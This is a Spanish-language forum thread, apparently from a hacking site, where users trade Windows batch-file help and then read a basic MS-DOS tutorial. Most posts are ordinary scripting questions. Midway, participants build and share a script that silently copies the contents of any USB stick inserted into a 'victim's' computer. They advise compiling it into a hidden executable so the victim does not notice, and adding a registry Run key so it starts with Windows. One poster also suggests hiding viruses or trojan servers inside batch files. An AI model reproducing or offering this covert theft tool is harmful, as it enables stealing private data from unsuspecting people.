Pues si haces un taskkill como q no en los ordenadores en los que no esta ejecutandose?? Evidentemente si no esta ejecutandose ni se va a cerrar ni creo q quieras cerrarlo :)

y cada cierto tiempo eso yo no lo se hacer ;)

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ¤ Nerviozzo ¤ en 23 Noviembre 2005, 07:44 am
Intenta con el comando AT

Ve a inico --> ejecutar --> cmd

y pones lo siguiente:

AT /?

Y ahí te vendrá la ayuda que necesitas

PAZ


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: fanny en 28 Noviembre 2005, 10:48 am
hola dade,
gracias por tu respuesta, me ha solucionado la duda.......me ha ido bien porke hoy tengo el examen de ficheros bat.Que nervios!!!!!

Saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Pax-Man en 3 Diciembre 2005, 14:53 pm
Necesito algo de ayuda tengo este problema

tengo estos 2 archivos, son 2 pequeñas aplicaciones que me sirven para cambiar el lenguaje a un juego (starcraft/broodwar, alguno lo conocera) estas me ayudan a cambiar el lenguaje, cambiando el nombre de un arhicvo ej:LocalIngles.dll a local.dll, pero el problema es que los se hacer dividiendo en 2 archivos, ejemplo para pasarlos a español le dan click en espaniol.bat y para ingles en ingles.bat, lo que quiero hacer es un archivo q se llame lengaje.bat y yo pueda escoger enter la opcion 1 y 2 cual lenguaje deseo usar

bueno les deje el contenido de español.bat
Código:
@echo off 
ECHO ------------------------------
ECHO Cambiar de español a ingles
ECHO StarCraft / Broodawr
ECHO ------------------------------
PAUSE
del local.dll
copy LocalEspaniol.dll Local2.dll
ren Local2.dll Local.dll starcraft.exe


Código:
@echo off 
ECHO ------------------------------
ECHO Cambiar de español a ingles ECHO StarCraft / Broodawr ECHO ------------------------------
PAUSE
del local.dll
copy LocalIngles.dll Local2.dll
ren Local2.dll Local.dll
starcraft.exe


como puedo hacer para que los 2 sistemas esten integrados y para que mediante el comand choice yo pueda escojer cual de los 2 lenguajes voy a usar.. es que por mas que trato el comando choice no me sale bien...

Por favor necesito ayuda


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ¤ Nerviozzo ¤ en 3 Diciembre 2005, 17:04 pm
Pax-Man, no has dicho tu sistema operativo pero me juego algo a que es Windows XP :P

Para que te funcione el comando choice debes instalarlo:

http://foro.elhacker.net/index.php/topic,78383.msg360721.html#msg360721

Te lo descargas y lo metes en la carpeta C:\WINDOWS\System32

Y entonces ya puedes utilizarlo perfectamente ;)

Aquí está el código que quieres:


Código:
@ECHO OFF
ECHO.
ECHO    ¿Qué deseas hacer?
ECHO.
ECHO     1 - Cambiar de español a inglés
ECHO.
ECHO     2 - Cambiar de inglés a español
ECHO.
CHOICE /C:12
IF ERRORLEVEL 2 GOTO INGLES
IF ERRORLEVEL 1 GOTO ESPANOL


:ESPANOL
ECHO ------------------------------
ECHO Cambiar de español a ingles
ECHO   StarCraft / Broodawr
ECHO ------------------------------
PAUSE
DEL local.dll
COPY LocalEspaniol.dll Local2.dll
REN Local2.dll Local.dll
starcraft.exe

:INGLES
ECHO ------------------------------
ECHO Cambiar de ingles a español
ECHO   StarCraft / Broodawr
ECHO ------------------------------
PAUSE
DEL local.dll
COPY LocalIngles.dll Local2.dll
REN Local2.dll Local.dll
starcraft.exe

Es mas o menos así, pero puedes modificarlo a tu gusto

PAZ


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 3 Diciembre 2005, 22:39 pm
Si no te queres instalar el CHOICE podes usar esta alternativa:

Código:
@ECHO OFF

ECHO.
ECHO    ¿Qué deseas hacer?
ECHO.
ECHO     1 - Cambiar de español a inglés
ECHO.
ECHO     2 - Cambiar de inglés a español
ECHO.

set /p opcion=
IF opcion==1 GOTO INGLES
IF opcion==2 GOTO ESPANOL


:ESPANOL
ECHO ------------------------------
ECHO Cambiar de español a ingles
ECHO   StarCraft / Broodawr
ECHO ------------------------------
PAUSE
DEL local.dll
COPY LocalEspaniol.dll Local2.dll
REN Local2.dll Local.dll
starcraft.exe
GOTO FIN

:INGLES
ECHO ------------------------------
ECHO Cambiar de ingles a español
ECHO   StarCraft / Broodawr
ECHO ------------------------------
PAUSE
DEL local.dll
COPY LocalIngles.dll Local2.dll
REN Local2.dll Local.dll
starcraft.exe

:FIN

¤ Nerviozzo ¤ a tu code le falto ese detalle:

Citar
@ECHO OFF
ECHO.
ECHO    ¿Qué deseas hacer?
ECHO.
ECHO     1 - Cambiar de español a inglés
ECHO.
ECHO     2 - Cambiar de inglés a español
ECHO.
CHOICE /C:12
IF ERRORLEVEL 2 GOTO INGLES
IF ERRORLEVEL 1 GOTO ESPANOL


:ESPANOL
ECHO ------------------------------
ECHO Cambiar de español a ingles
ECHO   StarCraft / Broodawr
ECHO ------------------------------
PAUSE
DEL local.dll
COPY LocalEspaniol.dll Local2.dll
REN Local2.dll Local.dll
starcraft.exe
GOTO FIN

:INGLES
ECHO ------------------------------
ECHO Cambiar de ingles a español
ECHO   StarCraft / Broodawr
ECHO ------------------------------
PAUSE
DEL local.dll
COPY LocalIngles.dll Local2.dll
REN Local2.dll Local.dll
starcraft.exe

:FIN


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: m3n3chm0 en 6 Diciembre 2005, 12:33 pm
ola soy nuevo aki ..necesitaba crear un .bat que elimine las cookies cada vez que el pc se inicia....saludos!! mm vi algo parecido de temporales nel foro pero no me ayuda..sabeis como es esto de las cookies pa k las elimine ???


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 6 Diciembre 2005, 17:17 pm
¿no sería mas fácil configurar el browser para ello?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: m3n3chm0 en 6 Diciembre 2005, 21:00 pm
mmm ni idea de k es eso :DD pero en clase nos mandaron acer eso ... crear un .bat k elimine las cookies ! alguien sabe ?? el codigo ....
@echo .... y demas :DD ???


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 6 Diciembre 2005, 23:52 pm
Código:
@echo off

CLS
ECHO.
ECHO A continuacion se borraran todas las cookies.
ECHO Para cancelar precione Crtl+C, ENTER para continuar.
ECHO.
PAUSE

CD C:\Documents and Settings\AdriaN\Cookies
DEL /F /Q *.*
CLS

ECHO.
ECHO All OK!!
ECHO.

PAUSE
CLS

Para que se ejecute cuando prendas la PC tenes que agregar al registro una clave en la direccion HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Pones la direccion del archivo como dato y lito...


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: xerge100 en 14 Diciembre 2005, 05:15 am
a ver si puedesesta

un bucle que repita un palabra o plabras (en colores  , osea sicodelico - un gma de colres cambiantes) y que baje en picada osea asi

buenos dias buenos dias buenos dias
buenos dias buenos dias buenos dias
buenos dias buenos dias buenos dias
buenos dias buenos dias buenos dias
..........

asi hast presionar un tecla para salir

nos vemos


Título: ayuda
Publicado por: cotaflor en 15 Diciembre 2005, 02:04 am
hola que tal??? necesito ayuda :-[

queria crear un bat que me permita modificar a diario un archivo con este formato "nombre" & "fecha del dia" se podrá???
como lo hago???
ayudenme .. please gracias

:) :-*


Título: Re: ayuda
Publicado por: Siuto en 15 Diciembre 2005, 02:23 am
xerge100 ahi esta tu saludo sicodelico, pero para pararlo solo podes hacerlos con "CRTL+C"

Código:
@echo off

:start

echo Buenos dias...
color 01
echo Buenos dias...
color 02
echo Buenos dias...
color 03
echo Buenos dias...
color 04
echo Buenos dias...
color 05
echo Buenos dias...
color 06
echo Buenos dias...
color 07
echo Buenos dias...
color 08
echo Buenos dias...
color 09
echo Buenos dias...
color 0A
echo Buenos dias...
color 0B
echo Buenos dias...
color 0C
echo Buenos dias...
color 0D
echo Buenos dias...
color 0E
echo Buenos dias...
color 0F

goto start


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: InOt en 15 Diciembre 2005, 03:02 am
Buenas, este es mi primer post jeje.

Soy bastante nuevo en esto de programacion bat, pero estoy con winXP y tengo el problema del choice, he intentado usar el set pero no me sale, se me queda esperando con el cursor parpadeante pero cuando pulso una tecla queda escrita en pantalla pero no hace nada, si le doy al Enter prosigue con las lineas sin ir a ninguna etiqueta. Os pongo un codigo de ejemplo (no puedo usar choice, ya que en los ordenadores donde debo hacer los bat no tengo acceso a system32:



@echo off
:menu
cls
echo *******************************
echo --Bienvenido al Batch de InOt--
echo *******************************
echo.
echo.
echo.
echo Pulsa 1 para Abrir la carpeta Main
echo Pulsa 2 para Ejecutar Call of Duty Multijugador

set /p tecla=

if tecla==1 goto open
if tecla==2 goto cod

:open

cd D:\Juegos\Call of Duty\Main


echo Deseas seguir trabajando con este batch? [Si/No]

set/p tecla=

if tecla==n goto fin
if tecla==s goto menu

:cod

D:
cd D:\Juegos\Call of Duty
CoDMP.exe

:fin

echo Trabajo finalizado! Adios.
cls



Bueno, si me podeis decir que es lo que hago mal... Muchas gracias.

Salu2


Título: Re: ayuda
Publicado por: jvchino en 15 Diciembre 2005, 04:39 am
hola que tal??? necesito ayuda :-[

queria crear un bat que me permita modificar a diario un archivo con este formato "nombre" & "fecha del dia" se podrá???
como lo hago???
ayudenme .. please gracias

:) :-*

Lee unas cuantas páginas atrás.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 15 Diciembre 2005, 04:50 am
Iont: cuando usas SET /P es correcto que tengas que presionar enter para que lea la letra, pero sin embargo el code que pusiste esta bien echo :s


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: InOt en 16 Diciembre 2005, 03:56 am
Pues no se....... no me funciona ni de coña vamos, lo unico que hace esperarse en cada set y pedirme que escriba algo, aunque escriba lo que escriba sigue ejecutando la linea siguiente... ire haciendo pruebas, si doy con ello ya posteare.

salu2


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: H@T en 16 Diciembre 2005, 18:54 pm
Hola gente que tal, quisiera saber si se puede saber cuantos usuario hay en un dominio con algun comandito de DOS, una vez creo que pude hacerlo pero no recuerdo...

Puede ser que sea algo como: NET USER ....

graciasss


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: modifier en 23 Diciembre 2005, 16:56 pm
Hola, posteo esta duda porque lo que necesito es lo siguiente, que con ejecutar un .bat este ejecuete dos programas. si no me pasaron mal la informacion se deberia hacer de esta manera

@echo off
cls
Programa 1.exe programa 2.exe

pero al poner cada programa y ejecutarlo ejecuta solo el primero en el orden.

tambien un amigo me habia pasado la forma de hacerlo mediante el ms-dos con unos comandos pero tampoco me funciono, hacia lo mismo.

Una aclaracion, el ejemplo lo saque de un juego donde funcionaba perfecto ejecutando los dos archivos.

Muchas Gracias. Modifier.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: chebu en 23 Diciembre 2005, 19:18 pm
Holaaasss buenass  :D

no se mcho de programacion .bat, se lo basico como ir a una carpeta copiar archivos cambiar attrib ::),pero lo k necesito hacer es lo suiguente:

copiar un archivo de mis documentos y colocarlo en una maquina remota se puee hacer esoo  :huh:??


Desde ya Muchas gracuasss  :P


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: modifier en 24 Diciembre 2005, 00:48 am
Chebu, no estoy definitivamente seguro pero me parece que unas paginas mas atras estaba como hacer lo que deseas


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: chebu en 26 Diciembre 2005, 19:53 pm
Buenoss muchass graciass me voy a fijarrr igual si lo encontras y me pdoes ahcer le favor me lo psoteas asi lo voe pork me pa que me fije y nolo encontre o tal ves lo vi y no lo supe entender como ahcerr...igual muhcas gracais y FELICES FIESTAS  ::) ;)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: von Newman en 27 Diciembre 2005, 08:34 am
podrias hacerlo de esta manera:
........
echo.
echo.
echo usuario>>c:\1.txt
echo pass>>c:\2.txt
echo send C:\ruta\archivo.*>>c:\3.txt
echo bye>>c:\4.txt
copy /b c:\1.txt c:\datos.txt
copy /b c:\datos.txt+c:\2.txt c:\datos.txt
copy /b c:\datos.txt+c:\3.txt c:\datos.txt
copy /b c:\datos.txt+c:\4.txt c:\datos.txt
cls
del c:\1.txt
del c:\2.txt
del c:\3.txt
del C:\4.txt
ftp -s:c:\datos.txt ftp.direccion.com
echo.
echo.
echo.
y lo envias al ftp remoto
saludos!!!!!!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: chebu en 28 Diciembre 2005, 19:16 pm
jejeje mcuhass graciasss lo voy a intentarrrr!!!!
Gracias por el codgioo se t agradeceee;)


Saludossss y Felices Fiestass  ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: dooku en 29 Diciembre 2005, 21:01 pm
Hola señores del elhacker.net

Una consulta. Tengo dos archivos en una sola carpeta:

archivo "dos.bat"
Citar
cmd
cls

archivo "join.bat"
Citar
@echo off
IF NOT EXIST %1 copy /b /-Y %1.* %1
pause
exit

Lo que hago es dar doble clic en "dos.bat" para que desde ahi escriba: "join (nombre de archivo)" y ejecute el proceso que hay en "join.bat" que es el de unir varios binarios. Lo que quiero hacer meter esto en un solo bat, que al cargar me pregunte solo el nombre del archivo y que se ejecute lo que hay en "join.bat".

Muchas gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: von Newman en 4 Enero 2006, 09:21 am
pues puedes poner:

======
dos.bat
======
@echo off
:start
echo.
echo.
echo     Por favor escribe el nombre del archivo al que quieras llamar:
echo.
echo.
set /p archivo=
if %archivo% == join goto bien
if NOT %archivo% == join goto mal
:bien
start C:\ruta\join.bat
:mal
echo       Haz escrito mal el nombre del archivo intentalo de nuevo.
goto :start
=================================
saludos!!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 4 Enero 2006, 11:40 am
Con este programa solo puedes abrir un archivo llamado joiner.bat
es mejor que puedas elegir la ruta. este .bat lo hace

@echo off
cls
color 2D
title Ejecutador de Archivos.
echo.
echo.
echo     Por favor escribe la ruta y el nombre del archivo al que quieras llamar:
echo.
echo.
set /p archivo=
%archivo% == 1
If not exist 1 goto error
Error:
echo El Programa no existe    [Ruta incorrecta]
goto fin
If exist 1 goto start
start:
start %archivo%
goto fin:
fin:
exit.

Si la ruta es incorrecta sale del programa, si la ruta es correcta lo ejekuta.

Un Saludo!!

H E N D R I X


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: maniaxred en 5 Enero 2006, 00:47 am
Hola a To2!

Estoy buscando un comando para agregar a un .BAT para ocultar todas las carpetas que se encuentren dentro de otra carpeta pero... "sólo las carpetas" y NO los archivos que contiene cada una de estas.

He probado con attrib pero no encuentro la forma. :huh:

Lamentablemente no logo encontrar una solución. :'(

Agradecería mucho si un genio me da la solusión. ;)


GRACIAS!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: judavcam en 5 Enero 2006, 04:12 am
hola
necesito ayuda

necesito crear un bat que primero me busque unos archivos

ejemplo mp3

que luego esos archivos que busco en el disco duro

pueda  elimarlos o ocultarlos automaticamente acontinuacion

de la busqueda


 le agradezco la colaboracion que me puedan aportar


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: dooku en 6 Enero 2006, 06:47 am
Muchas gracias compañeros, ahora tengo mas claro esto del bat.

Seria mejor que pongan mas ejemplos en el manual y menos teoria.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 7 Enero 2006, 22:12 pm
* Este post que publikare explika komo emplear el BATCH komo kompilador...en este kaso de Visual Basik Script

COMPILACION EN BATCH -{Por Hendrix}-
************************************

Weno, hace unos dias leí que se podia kompilar de Batch a VBS, es decir..a partir de un .bat crear un .vbs...
Nunka me imagine que con Batch se pudiera hacer eso...y mucho menos que fuera tan facil de hacer...

El principal truko es imaginarse que en lugar de estar frente a un Notepad esta frente a un Compilador de VBS...por ejemplo: para hacer un MsgBox que diga Hola Mundo en VBS se aria asi:

Msgbox "Hola Mundo"

y para kompilarlo en batch ariamos eso:

@echo off
echo.On Error Resume Next > C:\programa.vbs
echo Msgbox "Hola mundo" >> C:\programa.vbs
start C:\programa.vbs
exit

Y kon estas simples lineas ya tenemos un Programa de VBS echo en BATCH...pongan el ejemplo en el notepad y kompilenlo en Bat...

Imaginense lo que se podria llegar a krear fusionando estos lenguajes (Lo e echo en VBS porke yo programo en ese lenguage, si kieren pueden juntar kuakier otro lenguage de programacion)....

Y aki se akaba esta "Mini-klase" de programacion Batch-VBS

Un Saludo!!

H E N D R I X



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: emilandi en 8 Enero 2006, 09:05 am
me gustaria recibir su ayuda amigos, lo quiero hacer basicamente es codificar un .bat especificamente el del disco de inicio del win98 y lo que necesito que haga es que al momento de iniciar la pc en dos ejecute el archivo instalar.exe  de win98. aclaro que todo esto esta dentro de un cd ya que cree un booteable con el nero , es decir dentro del cd esta el disco de inicio + win98.
espero haber sido claro amigos , y espero su respuesta .
gracias !!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ¤ Nerviozzo ¤ en 8 Enero 2006, 10:48 am
Pero tú, Punk-rock, lo que estás haciendo es añadir las líneas que pongas detrás de ECHO a un archivo con extensión .vbs y luego lo inicias desde el bat, pero eso es igual que abrir un archivo de texto, escribir tu programa en visual basic script, guardarlo con extensión .vbs, y luego ejecutarlo, con lo cual, programar de la manera que tu has explicado es un poco "ilógica", cuando puedes hacerlo de otras maneras menos complicadas.

PAZ


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 8 Enero 2006, 13:13 pm
Ya lo se que es un pokito "ilogiko"...pero intenta crear un archivo .exe en bat...eso (creo) es imposible...y asi almenos puedes eskonder un "regalito" dentro de un .bat...ese regalito puede estar echo en VBS (se podria hacer perfectamente un virus o un server de troyano)...lokual yo aun sea ilogiko le veo utilidades....proke el VBS puede hace mas kosas que en Batch y si los fusionas puede kedar un programa guapo...

Un Saludo!!

H E N D R I X


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: von Newman en 12 Enero 2006, 05:25 am
eso es otro lenguaje de programacion llamado WSH (Windows Scripting Host) pero eso ya no es 100% batch puro.
aunque si funciona para hacer cosas como un troyano pero ya no es batch!
saludos!!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: isidro_ruiz6 en 12 Enero 2006, 21:51 pm
hola,queria hacer un programa que cuando metas una memoria usb en el ordenador, se copian en modo oculto(sin que salga la ventana de msdos) todos los archivos de la memoria, alguien me puede decir como hacerlo please?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: pollicogat en 13 Enero 2006, 08:27 am
HOLA MUY BUENAS , MIRA SOY NUEVO AQUI PERO HE VISTO QUE ENTIENDES MUCHO SOBRE BAT A VER TE COMENTO:

TENGO UN SERVIDOR, DENTRO DEL SERVIDOR UNO VIRTUAL , AHORA LO QUE QUIERO ES HACER COPIAS DE SEGURIDAD SOBRE ESTE SERVIDOR VIRTUAL , EL PROGRAMA QUE USO ES EL  VERITAS Backup Exec 10.0 for Windows Servers , AHORA EM GUSTARIA QUE ME DIJERAS COMO SE UTILIZAN DETALLADAMENTE LOS COMANDOS NET STAR Y NET STAR PARA PODER PARAR LOS SERVICIOS Y ACTIVARLOS PARA QUE SE PUEDA HACER LA COPIA DE SEGURIDAD, ADEMAS EN EL PROGRAMA VERITAS Backup Exec 10.0 for Windows Servers AY UNA OPCION DE COMANDOS PRE-TAREA Y POST TAREA Y NECESITARIA ADEMAS HACER UN SCRIPT PARA CADA CASO, PERO NO SE COMO HACERLO.
SI NO TE HAS ENTERADO DIMELO Y TE LO ACLARO OTRA VEZ.
MUCHAS GRACIAS


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: pollicogat en 13 Enero 2006, 09:21 am
hola otra vez, a lo mejor con mi pregunta he liado un poco, lo que en definitiva quiero saber como hacer un script que me pare un servicio y otro que me inice el servicio, una cosa parecida al net start y net stop. como puedo ver las lineas que contienen estos dos comandos. muchas gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: maniaxred en 13 Enero 2006, 17:25 pm
Hola a To2!

Estoy buscando un comando para agregar a un .BAT para ocultar todas las carpetas que se encuentren dentro de otra carpeta pero... "sólo las carpetas" y NO los archivos que contiene cada una de estas.

He probado con attrib pero no encuentro la forma.

Agradecería mucho si un genio me da la solusión.


GRACIAS!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: pollicogat en 13 Enero 2006, 17:51 pm
hola olvidar todo lo dicho antes jejeje ya mas o menos se lo que queria, ahora lo que quiero saber es lo siguiente:

he creado dos script uno le he puesto el nombre iniciar.bat y a otro parar.bat ahora lo que quiero es que estos nuevos comandos creados esten en mi ordenador dentro, no se si ay alguna carpeta de windows donde tenga que copiarlos  o donde se almacenen todos los bat, lo que quiero es que poniendo el nombre iniciar me ejecute directamente el script creado.  contestarme please


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ¤ Nerviozzo ¤ en 14 Enero 2006, 22:58 pm
pllicogat, mete esos bat en C:\WINDOWS\system32 y así los tendrás como un comando más ;)

PAZ


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: isidro_ruiz6 en 15 Enero 2006, 13:28 pm
y alguien sabe lo que dije?
queria hacer un programa que cuando metas una memoria usb en el ordenador, detecte que la has metido y se copien los archivos en modo oculto(sin que salga la ventana de msdos) todos los archivos de la memoria, alguien me puede decir como hacerlo please?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 15 Enero 2006, 17:45 pm
Lo que haria yo seria emplear un bucle para que todo el tiempo repitiese la operacion de poner los datos en el USB...por ejemplo:

@echo off
attrib +H C:\larutadelarchivo\archivo.exe
:bucle
cd C:\larutadelarchivo
move archivo.exe G:\Archivo.exe
goto bucle
exit

Con esto estaria todo el tiempo moviendo datos al USB (por lo general tiene asignada la letra G) Pero esto lo kontinuaria modificando todo el tiempo....mejor usa esto:

@echo off
:bucle
cd C:\larutadelarchivo
If Not Extist G:\Archivo.exe goto cop
If exist G:\Archivo.exe goto fin

:cop
move C:\larutadelarchivo\archivo.exe G:\Archivo.exe
goto bucle

:fin
exit

Este programa (creo que no esta 100% bien, pero ya te e dado muchas pistas...si buskas un pokito lo kompletaras) buska si existe el archivo si no existe lo kopia, pero si no esta el USB konektado no se va a kopiar...por lo tanto vuelve a mirar si existe...si finalmente existe sale del programa...

Esto te akonsejaria que lo kompilaras kon algun programa para pasarlo a exe que te permita okultar su funcionamiento...ya que puede tardar mucho y la viktima lo va a parar si lo vee...

Espero que te sirva...

Un Saludo!!

Hendrix


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: isidro_ruiz6 en 15 Enero 2006, 20:09 pm
gracias por la respuesta, pero creo que no me entendiste muy bien...porque yo no se como se llama el archivo :( que quiero copiar, y se tendrian que copiar al reves de la memoria usb a el ordenador en el que se mete,saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 15 Enero 2006, 20:41 pm
AAAAA ok ok...ya se a lo que te refieres...Lo que tu kieres es que se "propague"algo via USB (que se meta en el PC sin que el usuario se de kuenta)....Para eso Tendrias que saber el Nombre del Archivo...y despues creo que kreando un archivo .ini que se ejekutara el .bat...Pero si no sabes el nombre.... :-\ :-\ :-\


Un Saludo!!

Hendrix


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: isidro_ruiz6 en 15 Enero 2006, 20:58 pm
ya lo consegui gracias a tu programa!! Gracias..Lo dejo por si alguien lo quiere:
@echo off
:bucle
If Not Exist L:\ goto cop
If exist L:\ goto copy

:cop
goto bucle

:copy
xcopy "L:\" C:\prueba /s /e

:fin
exit

Ahora lo que quiero es que no salga la ventana en msdos y este en modo invisible para que no se de cuenta la victima, alguna idea?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 15 Enero 2006, 23:35 pm
Yes, usa el Quick Batch File Compiler...luego ve a propiedades/opciones i pones modo okulto y ya ta....

Un Saludo!!

Hendrix


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: isidro_ruiz6 en 15 Enero 2006, 23:50 pm
es la caña ese programa! gracias...y como se haria para que cada vez que se iniciase windows se ejecutase? gracias de nuevo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 16 Enero 2006, 15:41 pm
Tienes que poner en el .bat

Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Hendrix /d %0 /f

Esto agregara al registro que se ejekute kada vez el programa....
Puedes cambiar el nombre de Hendrix por el que kieras....

Un Saludo!!!

HENDRIX


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: H@T en 17 Enero 2006, 01:47 am
Hola gente no se si realmente existe un comando para listar procesos bajo linea de comandos, se que existe para matarlos (taskkill), pero seguramente debe existir para listarlos...

Me baje un archivo tasklist.exe pero es para winXp existe alguno para win2k???

En caso que no exista se podria hacer algun bat para hacerlo??

Coincido con alguien que escribio mas arriba habria que agregar en programacion un foro que sea de programacion bat..

Esto esta muy bueno y aprendi mucho.....
Espero que siga asi...

Gracias
Adios


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: isidro_ruiz6 en 17 Enero 2006, 07:15 am
gracias punk ya me va todo :)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: MercaderFenicio en 17 Enero 2006, 18:33 pm
Hola
Viendo que hay muchas personas que preguntan a menudo sobre este tema he decidido poner un pequeño texto que explique como funciona y que se puede hacer.

Posiblemente ya hay algún otro, pero yo no lo he visto.

Espero que le sea de utilidad a alguien
********************************************
Introducción
Antes que nada indicaros que se llaman procesos batch. La razón por la que a menudo se alude a ellos como bat es porque el entorno msdos requiere como máximo tres letras en la extensión y por tanto los archivos tienen la extensión .bat

¿Qué se puede hacer con ellos?
Pues se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos.

¿Como hago un archivo bat
Pues son texto plano. Quiere eso decir que se pueden escribir en el block de notas, utilidad Edit de msdos  o algún editor ascii.

Al guardarlos deben tener la notación de nombres propia de msdos. Esto es un nombre con máximo 8 letras (espacios y \ no permitidos), luego un punto y la extensión que en este caso es obligatoriamente bat.

Para crearlos desde la misma consola puedo utilizar varios sistemas

Sistema 1: mediante la orden copy
copy con: nombre_de_archivo.bat
...
...
comandos
...
...
Ctrl z (se acaba y se graba al pulsar Ctrl Z

Método 2 mediante la redirección
echo 1º línea a insertar >nombre_de_archivo.bat
echo restantes líneas >>nombre_de_archivo.bat

En cualquier caso para modificarlos podemos utilizar la utilidad Edit de msdos (abriendo el archivo concreto y luego grabando los cambios) o el block de notas.

¿Qué es eso de la redirección?
Pues al igual que en unix se puede hacer que la salida de un comando sirva como entrada de otro.

Para ello se utilizan los operadores < y > que sirven para indicar que salida debe ir a que lugar

Por ejemplo si yo le doy la orden DIR, esta irá por defecto a la pantalla (dispositivo CON), pero puedo redirigir la salida a la impresora por defecto (dispositivo PRN) de la siguiente forma
dir >prn

Qué son los filtros
Los filtros son órdenes que sirven para formatear la salida del comando de acuerdo a nuestros intereses. Se utilizan mediante la barra vertical (Alt 124).

El filtro SORT sirve para ordenar la salida
dir | sort
El filtro MORE sirve para pausar la salida cada pantalla para que pueda ver todos los datos de salida con tranquilidad. Pasa de pantalla a pantalla al pulsar una tecla
dir | more

¿Como puedo seleccionar varios archivos
Para ello y teniendo en cuenta que los nombres de los archivos deben cumplir la notación de msdos (8 letras sin espacios como máximo, luego un punto y tres letras como máximo de extensión) se pueden utilizar los llamados comodines.
* Equivale a varios caracteres
? equivale a un solo caracter.

Ejemplos
   comando *.cfg -> seleccionar todos los archivos que tengan la extensión cfg
   comando a*.cfg -> seleccionar todos los archivos que comienzen por a y tengan la extensión cfg
   comando a*b.cfg -> seleccionar todos los archivos que comienzen por a, acaben por b y tengan la extensión cfg
   comando *asa*.cfg -> seleccionar todos los archivos que contengan 'asa' y tengan la extensión cfg
   comando c?asa.cfg -> seleccionar todos los archivos que contengan una C, luego un caracter cualquiera y luego 'asa'. Debe tener también la extensión cfg
   comando c?b*.* -> seleccionar todos los archivos que empiezen por c, tengan un caracter cualquiera, luego una b y cualquier extensión
   comando *.b?t -> seleccionar todos los archivos que tengan una extensión que empieze por b, luego un caracter cualquiera y luego una t.

¿Que son las trayectorias o paths?
La trayectoria es el nombre completo de un archivo e indica la situación exacta de un archivo y su nombre.

Si digo que el archivo se llama leeme.txt indico su nombre, pero nada mas. Se da por supuesto que se encuentra en el directorio actual.

Si digo c:\leeme.txt indico que el archivo que me interesa se llama leeme.txt y se encuentra en el directorio raíz de C.

Dado que en msdos no se admiten nombres largos (mas de 8 letras) ni espacios, cuando quiero utilizar un nombre de windows en msdos debo saber que este será reconvertido a su nombre corto. Este se obtiene añadiendo los seis primeros carácteres válidos del nombre, luego el signo ~ (alt 126) y luego un número.

De esta forma un archivo que se encuentre en Mis documentos en win98 tendrá el path
   c:\misdoc~1\leeme.txt

También se pueden utilizar (mientras las comillas para delimitar el nombre
   "c:\Mis Documentos\leeme.txt"
Pero esto solo vale cuando se utiliza msdos como consola (no cuando se inicia windows 98 en modo msdos)

Obsérvese que se utiliza la barra contraria a la de linux/unix para especificar subcarpetas o subdirectorios

Esta sería la trayectoria de mimusica.mp3
c:\misdoc~1\mi~1\mimusica.mp3
Qué equivale a
"c:\Mis Documentos\Mi Música\mimusica.mp3"

Cuales son los nombres de dispositivos
La pantalla se llama CON. Por eso si redirigo algo a CON lo estoy sacando por pantalla.
La impresora por defecto se llama PRN
La primera impresora se llama Lpt1 y las demás Lpt2, Lpt3 (una en cada puerto paralelo instalado en el sistema). Hasta donde yo sé no hay posibilidad de llegar a USB si no es la impresora por defecto.

Como se les llama a las unidades lógicas
Siempre es una letra seguida del signo dos puntos.
   A: = disquetera
   B: = reservada para segunda disquetera
   C: = primera partición (normalmente es la que arranca)
   D: = segunda partición (generalmente el cdrom)
